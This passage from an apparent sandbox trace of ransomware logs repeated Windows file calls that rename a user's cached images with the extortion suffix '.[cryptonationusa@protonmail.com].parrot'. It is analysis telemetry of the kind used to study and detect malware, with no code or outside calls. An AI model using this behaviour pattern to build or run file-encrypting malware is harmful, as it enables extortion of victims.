dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.877] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x161e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x161e, lpOverlapped=0x0) returned 1 [0082.878] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.878] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOddp[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbboddp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.882] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.882] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.883] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.884] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5685, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x5685, lpOverlapped=0x0) returned 1 [0082.886] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.887] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBOmar[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbomar[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.892] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.892] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.894] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.894] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2f6b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2f6b, lpOverlapped=0x0) returned 1 [0082.896] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.898] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.902] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.902] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.904] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.904] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x264b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x264b, lpOverlapped=0x0) returned 1 [0082.905] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.906] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.910] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.910] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.912] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.912] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3e08, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3e08, lpOverlapped=0x0) returned 1 [0082.913] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.914] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVEOW[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbveow[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.918] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.918] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.920] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.920] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa1f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa1f, lpOverlapped=0x0) returned 1 [0082.920] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.921] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.923] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.923] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.925] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.925] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x82d, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x82d, lpOverlapped=0x0) returned 1 [0082.925] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.926] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.928] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.928] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.967] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.967] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16f5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x16f5, lpOverlapped=0x0) returned 1 [0082.973] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.973] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBYfEH[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbyfeh[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.977] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.977] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.981] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.981] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc20, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xc20, lpOverlapped=0x0) returned 1 [0082.981] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.981] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBZ5vT[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbz5vt[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.984] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.984] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.986] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.986] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x86e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x86e, lpOverlapped=0x0) returned 1 [0082.986] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.986] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.989] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.989] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.991] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.991] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x86e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x86e, lpOverlapped=0x0) returned 1 [0082.991] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.991] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC02Gr[2].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc02gr[2].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.994] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.994] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.996] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.996] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x89a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x89a, lpOverlapped=0x0) returned 1 [0082.996] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.996] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC03B1[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc03b1[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.999] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.999] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.000] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.001] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7bb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7bb, lpOverlapped=0x0) returned 1 [0083.001] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.001] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC06Ub[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc06ub[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.004] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.004] ReadFile (in: hFile=0x268, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.005] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.005] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9ab, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9ab, lpOverlapped=0x0) returned 1 [0083.005] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.006] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0Djg[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0djg[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0083.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.148] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0083.149] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.149] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7fd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7fd, lpOverlapped=0x0) returned 1 [0083.150] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.150] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbc0g7a[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBC0g7a[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 